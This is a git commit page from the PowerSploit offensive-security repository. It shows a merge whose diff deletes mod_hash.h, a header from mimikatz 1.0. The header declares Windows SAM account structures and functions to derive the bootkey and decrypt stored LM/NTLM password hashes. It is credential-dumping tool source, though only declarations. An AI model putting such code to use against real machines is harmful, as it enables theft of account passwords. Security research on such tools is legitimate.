diff options
| author | clymb3r <bialek.joseph@gmail.com> | 2014-04-16 21:02:50 -0700 | 
|---|---|---|
| committer | clymb3r <bialek.joseph@gmail.com> | 2014-04-16 21:02:50 -0700 | 
| commit | b783b459c12112509a733253df9f5935e104200c (patch) | |
| tree | e58bce1f7d2f2584d1426262cc609f153d774e51 /Exfiltration/mimikatz-1.0/modules/mod_hash.h | |
| parent | 47b90647c11cb4956c735cfa47628dc7dcb03bb6 (diff) | |
| parent | 946328cf9e6d6c60eca2bb9d71a38e210c1c3b6c (diff) | |
| download | PowerSploit-b783b459c12112509a733253df9f5935e104200c.tar.gz PowerSploit-b783b459c12112509a733253df9f5935e104200c.zip  | |
Merge branch 'master' of https://github.com/mattifestation/PowerSploit
Conflicts:
	Recon/Get-ComputerDetails.ps1
	Recon/Recon.psd1
Diffstat (limited to 'Exfiltration/mimikatz-1.0/modules/mod_hash.h')
| -rw-r--r-- | Exfiltration/mimikatz-1.0/modules/mod_hash.h | 81 | 
1 files changed, 0 insertions, 81 deletions
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hash.h b/Exfiltration/mimikatz-1.0/modules/mod_hash.h deleted file mode 100644 index 19d7c44..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_hash.h +++ /dev/null @@ -1,81 +0,0 @@ -/*	Benjamin DELPY `gentilkiwi` -	http://blog.gentilkiwi.com -	benjamin@gentilkiwi.com -	Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_text.h" -#include "mod_crypto.h" - -class mod_hash -{ -private: -	static PSYSTEM_FUNCTION_006 SystemFunction006; -	static PSYSTEM_FUNCTION_007 SystemFunction007; -	static PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING RtlUpcaseUnicodeStringToOemString; -	static PRTL_INIT_UNICODESTRING RtlInitUnicodeString; -	static PRTL_FREE_OEM_STRING RtlFreeOemString; - -public: -	typedef enum _KIWI_HASH_TYPE -	{ -		LM, -		NTLM -	} KIWI_HASH_TYPE; - -	typedef struct _SAM_ENTRY { -	DWORD offset; -	DWORD lenght; -	DWORD unk; -} SAM_ENTRY, *PSAM_SENTRY; - -	typedef struct _OLD_LARGE_INTEGER { -		unsigned long LowPart; -		long HighPart; -	} OLD_LARGE_INTEGER, *POLD_LARGE_INTEGER; - -	typedef struct _USER_F { // http://www.beginningtoseethelight.org/ntsecurity/index.php#D3BC3F5643A17823 -		DWORD unk0_header; -		DWORD align; -		OLD_LARGE_INTEGER LastLogon; -		OLD_LARGE_INTEGER LastLogoff; -		OLD_LARGE_INTEGER PasswordLastSet; -		OLD_LARGE_INTEGER AccountExpires; -		OLD_LARGE_INTEGER PasswordMustChange; -		unsigned long UserId; -		unsigned long unk1; -		unsigned long UserAccountControl; -	} USER_F, *PUSER_F; - -	typedef struct _USER_V { -		SAM_ENTRY unk0; -		SAM_ENTRY Username; -		SAM_ENTRY Fullname; -		SAM_ENTRY Comment; -		SAM_ENTRY UserComment; -		SAM_ENTRY unk1; -		SAM_ENTRY Homedir; -		SAM_ENTRY Homedirconnect; -		SAM_ENTRY Scriptpath; -		SAM_ENTRY Profilepath; -		SAM_ENTRY Workstations; -		SAM_ENTRY HoursAllowed; -		SAM_ENTRY unk2; -		SAM_ENTRY LM; -		SAM_ENTRY NTLM; -		SAM_ENTRY unk3; -		SAM_ENTRY unk4; -		BYTE datas; -	} USER_V, *PUSER_V; - -	static bool lm(wstring * chaine, wstring * hash); -	static bool ntlm(wstring * chaine, wstring * hash); - -	static void getBootKeyFromKey(BYTE bootkey[0x10], BYTE key[0x10]); -	static bool getHbootKeyFromBootKeyAndF(BYTE hBootKey[0x10], BYTE bootKey[0x10], BYTE * AccountsF); -	static bool decryptHash(wstring * hash, BYTE * hBootKey, USER_V * userV, SAM_ENTRY * encHash, DWORD rid, bool isNtlm); -	static void str_to_key(BYTE *str, BYTE *key); -	static void sid_to_key1(DWORD sid, BYTE deskey[8]); -	static void sid_to_key2(DWORD sid, BYTE deskey[8]); -};  |